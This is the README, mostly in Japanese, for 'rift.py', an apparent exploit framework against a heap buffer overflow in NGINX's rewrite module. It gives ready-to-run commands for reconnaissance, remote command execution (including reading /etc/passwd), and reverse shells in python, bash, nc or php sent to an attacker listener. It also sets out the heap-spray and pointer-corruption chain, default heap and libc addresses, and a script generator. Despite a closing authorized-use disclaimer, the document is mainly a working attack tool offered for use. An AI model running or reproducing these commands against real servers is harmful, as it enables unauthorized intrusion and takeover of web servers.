
NGINX、特にngx_http_rewrite_moduleに欠陥が見つかりました。認証されていない攻撃者が、特定のリライト設定下で細工したHTTPリクエストを送信することにより、この脆弱性を悪用する可能性があります。これにより、NGINXワーカープロセスでヒープバッファオーバーフローが発生し、任意のコード実行につながる可能性があります。
著者: Michael Sanji Winaya Prawiradibrata
AI共著者: Varanus — わが友
NGINXの
ngx_http_rewrite_moduleを標的としたヒープバッファオーバーフローエクスプロイトフレームワーク。
偵察+エクスプロイトを1つのツールに。外部依存ゼロ。
| ファイル | 説明 |
|---|---|
rift.py | メインツール。 偵察+エクスプロイトを1つのスクリプトに統合(1026行)。 |
README.md | 本ドキュメント。 |
# 1. フル偵察 — バージョン、エンドポイント、脆弱性、戦略を検出
python3 rift.py --target 10.10.10.10 --recon
# 2. 偵察+エクスプロイトを一気に実行
python3 rift.py --target 10.10.10.10 --auto --cmd "id"
# 3. コマンド実行
python3 rift.py --target 10.10.10.10 --cmd "whoami"
# 4. リバースシェル(リスナーを自動オープン)
python3 rift.py --target 10.10.10.10 --shell --lhost 10.10.14.5 --lport 4444
# 5. bash を使うリバースシェル(python の代わり)
python3 rift.py --target 10.10.10.10 --shell --shell-type bash --lhost 10.10.14.5 --lport 4444
# 6. 脆弱性チェックのみ
python3 rift.py --target 10.10.10.10 --check-only
--shell を使用すると、スクリプトが自動的に:
--shell-type に応じたリバースシェルペイロードを生成--lport でリスナーをオープンnc -lvnp)を優先し、Pythonリスナーにフォールバックデフォルトアドレスが失敗した場合、スクリプトはヒープベースを±5ステップ×0x10000ずつ自動的にずらして、適合するアドレスを探します。手動設定は不要です。
4種類のシェルペイロード — python、bash、nc、php。ターゲットで利用可能なものを選択します。
--recon は5つのフェーズを実行します:
--output json は他のツールとの統合や自動解析用です。
エクスプロイトの対象は、次のような rewrite + set 構成のNGINXです:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true; # is_args = 1
set $original_endpoint $1; # length calc pake is_args = 0
}
結果として、割り当てられるバッファが小さすぎるため、URIエスケープ(3倍展開)でオーバーフローします。
1. HEAP SPRAY ─── POST /spray × 20 → tanam fake ngx_pool_cleanup_s di heap
2. TRIGGER ────── GET /api/AAAA...++++... → overflow via URI escaping
3. CORRUPT ────── Overflow tulis ulang cleanup pointer pool adjacent
4. EXEC ───────── Pool destroyed → panggil system("command")
rift.py で変更可能)python3 rift.py --target 10.10.10.10 --cmd "cat /etc/passwd" --verbose
python3 rift.py --target 10.10.10.10 \
--cmd "id" \
--heap-base 0x555555659000 \
--libc-base 0x7ffff77ba000
python3 rift.py --target 10.10.10.10 --cmd "id" --tries 50
python3 rift.py --target 10.10.10.10 --recon --output json
python3 rift.py --target 10.10.10.10 --generate-exploit
# → exploit_10_10_10_10.py
nc -zv <IP> 80--port 8080、--port 443--autoを試してください--verboseで各試行の詳細を確認してくださいsudo ufw allow 4444--lhost を確認 — ローカルIPが正しいことを確認--shell-type bash または --shell-type nc を試す教育目的および許可されたセキュリティテストのみを目的として作成されています。
無許可でシステムに対して使用することは違法です。
© 2026 Michael Sanji Winaya Prawiradibrata
AI共著者:Varanus
| フラグ | 機能 |
|---|
--recon | フル偵察。 フィンガープリント → 情報漏えい → エンドポイントテスト → ワーカー数 → 戦略。 |
--auto | 偵察+自動エクスプロイト。 --recon と同じ動作の後、エクスプロイトを続行。 |
--check-only | クイックチェック。 NGINX、バージョン、エンドポイント/api/を検出。 |
--cmd "command" | system() を介して1つのコマンドを実行。 |
--shell | リバースシェル — リスナーを自動的に開き、ペイロードを送信し、接続を受け取る。 |
| フラグ | デフォルト | 機能 |
|---|
--port | 80 | ターゲットのポート |
--lhost | — | リバースシェル用のローカルIP(--shell使用時は必須) |
--lport | 4444 | リスナー用のローカルポート |
--shell-type | python | リバースシェルのペイロード:python、bash、nc、php |
--heap-base | 0x555555659000 | ヒープのベースアドレス(ASLRバイパス用に上書き) |
--libc-base | 0x7ffff77ba000 | libc のベースアドレス |
--tries | 10 | 候補アドレスごとの試行回数 |
--verbose / -v | — | 試行ごとの詳細を出力 |
| フラグ | 機能 |
|---|
--fingerprint | NGINXのバージョン、エンドポイント、リライトモジュールを検出 |
--leak | 情報漏えいをチェック(エラーページのメモリアドレス、タイミング) |
--test-endpoint | さまざまなペイロードでエンドポイントの挙動をテスト |
--endpoint | テスト対象のエンドポイントパス(デフォルト:/api/) |
--generate-exploit | ターゲットアドレスを指定した専用エクスプロイトスクリプトを生成 |
--output json | ターミナル出力と同時にJSON出力(機械可読) |
| 定数 | デフォルト | 意味 |
|---|
BODY_LEN | 4000 | スプレー本体のサイズ(バイト) |
N_SPRAY | 20 | 試行ごとのPOSTリクエスト数 |
LIBC_SYSTEM_OFFSETS | 7 entries | 各ディストリビューション向けのsystem()オフセット |
PREREAD_HEAP_OFFSETS | 19 entries | ヒープオフセットの候補 |
DEFAULT_HEAP_BASE | 0x555555659000 | ヒープベース(ASLRオフ) |
DEFAULT_LIBC_BASE | 0x7ffff77ba000 | libcベース(ASLRオフ) |